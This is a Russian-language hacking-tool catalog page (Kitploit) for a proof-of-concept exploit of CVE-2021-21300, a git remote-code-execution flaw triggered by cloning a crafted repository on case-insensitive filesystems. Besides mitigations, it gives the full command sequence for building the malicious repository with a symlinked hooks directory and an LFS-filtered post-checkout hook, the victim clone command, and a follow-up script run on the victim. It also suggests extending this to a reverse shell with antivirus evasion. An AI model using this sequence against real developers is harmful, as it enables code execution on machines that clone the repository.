Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-21300 — Эксплойт proof-of-concept для CVE-2021-21300, демонстрирующий удалённое выполнение кода при клонировании вредоносного git-репозитория с использованием симлинков и фильтров на файловых системах, нечувствительных к регистру символов. | Kitploit
Инструменты/GitHubGitHub/fengzhouc/cve-2021-21300
Повышение привилегийАнализ уязвимостейЭксплуатацияЛатеральное перемещениеШелл-кодПост-эксплуатацияКомандование и УправлениеИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubfengzhouc/cve-2021-21300

CVE-2021-21300

Эксплойт proof-of-concept для CVE-2021-21300, демонстрирующий удалённое выполнение кода при клонировании вредоносного git-репозитория с использованием симлинков и фильтров на файловых системах, нечувствительных к регистру символов.

35 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

CVE-2021-21300

В нескольких версиях git недостаточно строго обрабатываются символические ссылки. После загрузки файлов в git в файловой системе, чувствительной к регистру (например, Linux), при клонировании вредоносного репозитория на хосте с файловой системой, нечувствительной к регистру (например, Windows), может быть выполнена удалённая команда.

Затронутые версии

С 2.15 по 2.30.1

Решение

  1. Обновите версию

  2. Как указано ниже

Отключите symlink в git: git config --global core.symlinks false

Отключите process filter (обычно используется LFS), проверить можно через git config --show-scope --get-regexp 'filter..*.process

Условия срабатывания:

  1. В репозитории есть символическая ссылка и каталог с одинаковыми именами

  2. Символическая ссылка указывает на специальный каталог (по текущим наблюдениям — .git/hooks)

  3. На машине жертвы должны быть достаточные права для выполнения вредоносной команды

Воспроизведение

01 Подготовка окружения

① Подготовка репозитория:

Система: ubuntux64

Требуется установить git, git-lfs

При выполнении команды git lfs install может появиться ошибка

Error: Failed to call git rev-parse --git-dir: exit status 128

Её можно игнорировать

Появление сообщения Git LFS initialized. означает, что установка завершена

② Машина жертвы:

Система: win10x64

git for window: Git-2.17.1-64-bit

(https://www.npackd.org/p/git64/2.17.1.2)

При установке git for window можно оставить все настройки по умолчанию

02 Подготовка вредоносного репозитория

① Создание репозитория на GitHub:

В сети много соответствующих руководств, не будем останавливаться подробно.

② Создание вредоносного репозитория в ubuntu и загрузка на GitHub:

Выполните следующие команды:

root@kitploit:~
$ git init
$ echo "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho PWNED >&2\n'>A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
git add -A &&
rm -rf A &&
ln -s .git/hooks a &&
git add a &&
git commit -m initial
$ git branch -M main
$ git remote add origin [自己的仓库地址]
$ git push -u origin main

03 Тестирование атаки

В powershell(администратор) на win10 выполните следующую команду:

git clone -c core.symlinks=true [自己的仓库地址]

После clone появление PWNED означает, что удалённое выполнение команды прошло успешно

Видно, что при клонировании была выполнена команда из файла post-checkout

Идея состоит в том, чтобы использовать IEX для загрузки скрипта, а затем получить shell через прослушивание на Kali, но большинство скриптов будут распознаны и заблокированы; с помощью обхода антивируса (免杀) это, вероятно, можно реализовать.

04 Дополнительная эксплуатация

Добавьте в каталог файл скрипта hack.sh

Содержимое:

root@kitploit:~
#!/bin/sh
#################
echo "script working..." &&
cd / &&
pwd &&
mkdir hack
cd hack &&
touch hacked &&
echo "you has been hacked">hacked &&
echo "done!"

Измените команду, выполняемую в post-checkout, чтобы запустить скрипт:

printf '#!/bin/sh\n\necho PWNED\n\n./hack.sh >&2\n'>A/post-checkout

Скачать инструмент